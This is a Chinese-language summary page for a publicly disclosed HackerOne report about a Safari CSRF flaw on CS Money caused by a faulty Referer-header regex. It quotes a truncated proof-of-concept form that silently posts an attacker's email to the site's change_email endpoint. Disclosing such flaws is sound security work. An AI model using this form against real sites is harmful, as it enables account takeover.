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地图 / Site-wide CSRF on Safari due to CORS misconfiguration (not localhost)

Site-wide CSRF on Safari due to CORS misconfiguration (not localhost)

跨站请求伪造 / 跨站请求伪造 / #975983

厂商
CS Money
严重程度
低危
赏金
$300
弱点
跨站请求伪造
研究员
@nnez
披露日期
2020-10-27
资产
old.cs.money
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2626 字符中的一小部分)
Description Hello there, on `new.cs.money` or `cs.money`, there is anti-CSRF mechanism, which is `Referer` header check. However, I discovered that regex logic for checking `Referer` header is flawed.
原文中的代码
var FormEl = `
<form action="https://new.cs.money/change_email" method="POST">
        <input type="hidden" name="email" value="[email protected]" />
        <button type="submit" style="font-size:28pt;z-index:99999">Submit</button>
    </form>
`;
var Div = …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 CS Money 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @nnez · 版权归作者与 CS Money 所有

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